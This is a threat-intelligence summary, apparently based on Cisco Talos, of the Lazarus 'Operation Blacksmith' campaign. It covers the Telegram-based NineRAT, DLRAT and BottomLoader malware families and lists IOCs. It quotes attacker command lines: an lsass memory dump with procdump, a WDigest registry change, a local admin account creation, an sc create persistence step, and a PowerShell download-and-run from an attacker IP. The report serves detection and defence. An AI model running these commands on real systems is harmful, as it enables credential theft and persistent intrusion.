Operation Blacksmith: Lazarus targets organizations worldwide using novel Telegram-based malware written in DLang

Cisco Talos describes “Operation Blacksmith,” a Lazarus Group campaign using three DLang-based malware families — NineRAT (Telegram-based RAT), DLRAT (DLang RAT/downloader) and BottomLoader (DLang downloader) — delivered after exploitation of CVE-2021-44228 (Log4Shell) and supported by the HazyLoad reverse proxy. The report details infection chains, persistence (service creation, Startup .URL and BAT scripts), Telegram C2 behavior and IOCs including hashes, domains and IPs. #LazarusGroup #NineRAT

Keypoints

Cisco Talos identified “Operation Blacksmith,” a Lazarus campaign using three DLang-based malware families: NineRAT (Telegram C2 RAT), DLRAT (RAT/downloader) and BottomLoader (downloader).
Initial access was achieved via exploitation of CVE-2021-44228 (Log4Shell) on public-facing servers (e.g., VMware Horizon), followed by deployment of custom implants and HazyLoad reverse proxy.
NineRAT is modular (dropper → instrumentor nsIookup.exe → payload), uses Telegram bots/channels for C2 (getMe, sendDocument, getFile) and supports file upload/download and numerous remote commands.
Persistence and execution techniques include service creation via sc create, BAT scripts, Startup .URL files, and creation of a local administrative account for hands-on-keyboard activity.
BottomLoader uses hardcoded URLs and PowerShell (Invoke-WebRequest, UploadFile) to retrieve and upload payloads and can persist by creating a .URL in the Startup folder.
DLRAT shares a hardcoded session ID observed previously in MagicRAT and performs reconnaissance, file transfer, download, rename, sleep and self-delete commands via multipart C2 posts.
Talos published extensive IOCs (file hashes, domains, IPs, file names, Telegram bot) and detection guidance; IOCs are available in their GitHub repository.

MITRE Techniques

[T1082] System Information Discovery – Used by implants to fingerprint hosts via commands like ‘whoami’, ‘ipconfig /all’ and ‘wmic os get osarchitecture’ (‘cmd.exe /C ipconfig /all’, ‘whoami’).
[T1518] Software Discovery – Malware queries installed security products using WMIC to detect antivirus (‘WMIC /Node:localhost /Namespace:rootSecurityCenter2 Path AntiVirusProduct Get displayName’).
[T1003/005] OS Credential Dumping: WDigest – Actors read or enable WDigest to harvest credentials (‘Reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWdigest’, ‘reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1’).
[T1003] Credential Dumping – Operators run credential tools and memory dumps to harvest credentials (‘procdump.exe -accepteula -ma lsass.exe lsass.dmp’, ‘pwdump.exe //Mimikatz’).
[T1112] Modify Registry – Used to change registry keys to enable credential harvesting (see ‘reg add … UseLogonCredential’).
[T1136] Create Account – The attackers create a local admin user for persistence and hands-on-keyboard activity (‘net user krtbgt /add’, ‘net localgroup Administrators krtbgt /add’).
[T1033] User Discovery – The campaign enumerates local and domain user/group info (‘cmd.exe /c net localgroup Administrators’, ‘net user’).

Indicators of Compromise

[File Hashes] Malware file hashes – NineRAT example: 534f5612954db99c86baa67ef51a3ad88bc21735bce7bb591afa8a4317c35433; HazyLoad: 000752074544950ae9020a35ccd77de277f1cd5026b4b9559279dc3b86965eee (and 10 more hashes).
[Domains / URLs] C2 and payload hosts – tech[.]micrsofts[.]com, tech[.]micrsofts[.]tech and hxxp://27[.]102[.]113[.]93/inet[.]txt.
[IP Addresses] Network IOCs used for hosting and C2 – 27[.]102[.]113[.]93, 201[.]77[.]179[.]66 (and additional IPs listed in the report).
[File Names] Dropper/instrumentor and payload filenames – nsIookup.exe (instrumentor with capital ‘I’ trick), wininet64.exe / inetmgr.exe (HazyLoad/loader names used in commands).
[Telegram] Telegram C2 artifacts – public bot ‘@StudyJ001Bot’ (initially used) and other operator-owned bot tokens/channels referenced in NineRAT configuration.

Operation Blacksmith’s technical flow begins with exploitation of CVE-2021-44228 on exposed services, followed by scripted reconnaissance and payload retrieval. Operators run discovery commands (whoami, ipconfig /all, wmic queries), download and execute the HazyLoad reverse proxy via PowerShell (e.g., (New-Object System.Net.WebClient).DownloadFile(‘hxxp:///inet.txt’,’c:windowsadfsdeinetmgr.exe’) and c:windowsadfsdeinetmgr.exe -i -p), and in some cases restart HazyLoad with new remote parameters to maintain access. They also create local administrative accounts (net user … /add; net localgroup Administrators … /add) and harvest credentials using procdump and mimikatz-style tools.

NineRAT is delivered via a dropper that writes two embedded components and removes itself; the instrumentor (nsIookup.exe — note the capital ‘I’) sets persistence with a service creation command (sc create Aarsvc_XXXXXX binPath=c:windowssystem32nsIookup.exe -k AarSvcGroup -p type=own start=auto …) and launches the RAT payload. NineRAT communicates over Telegram using DLang libraries and Telegram API methods (getMe, sendDocument, getFile), supports file transfer and numerous remote commands (e.g., /info, /sendfile, /upgrade, /uninstall), and may use two API tokens for separate channels.

BottomLoader and DLRAT are additional DLang components: BottomLoader downloads next-stage binaries via PowerShell Invoke-WebRequest and can persist by creating a .URL file in the Startup folder to run download commands; it can also upload files using (New-Object System.Net.WebClient).UploadFile. DLRAT performs system fingerprinting (ver, whoami, getmac), posts multipart session data (hardcoded session ID same as MagicRAT), and supports commands for download, upload, rename, sleep and self-deletion. Detection should focus on the PowerShell download/upload strings, service creation entries for nsIookup.exe, Startup .URL artifacts, the listed hashes and the Telegram bot communication patterns.

SHARE THIS STORY

WhatsApp X (Twitter)Telegram Bluesky Facebook LinkedIn Threads Email Print